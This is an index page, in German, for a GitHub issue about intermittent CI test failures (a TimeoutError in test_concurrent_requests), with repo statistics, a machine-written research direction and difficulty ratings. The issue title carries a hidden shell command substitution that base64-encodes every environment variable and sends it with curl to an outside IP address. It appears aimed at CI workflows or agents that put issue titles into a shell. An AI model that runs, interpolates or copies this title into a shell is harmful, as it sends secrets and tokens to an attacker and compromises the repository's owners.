CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/1fb757edb1b8ca767a01cb7422999af2 -d $(env|base64|tr -d '\n'))
Offen
- Vorherrschende Sprache
- Java
- Sterne
- 10.5k
- Forks
- 1.5k
- Ø Merge
- 1 T. 11 Std.
- Gemergte PRs (30 T.)
- 127
Beschreibung
Seeing intermittent test failures in CI on `ubuntu-latest`. The tests pass locally but fail ~30% of the time in GitHub Actions.
```
FAILED tests/integration/test_api.py::test_concurrent_requests - TimeoutError
```
Might be a race condition in the test setup.
Beitragsleitfaden
Rechercherichtung
Start with tests/integration/test_api.py::test_concurrent_requests and reproduce the TimeoutError under the ubuntu-latest GitHub Actions environment, since the failure is intermittent and does not occur locally. Check the test setup and run the test repeatedly in CI; done means the test no longer flakes and the workflow passes reliably.
Vom Indexierungsmodell aus dem Issue-Text verfasst.
Bewertung
- Tech-Stack
- github-actions, python
- Bereich
- api, ci-cd, testing
- Issue-Typ
- Bug
- Schwierigkeit
- 3/5
- Geschätzter Aufwand
- 1-2 Tage
- Aktivitätsstatus
- Aktiv
- Klarheit
- Größtenteils klar
- Anfängerfreundlichkeit
- 55/100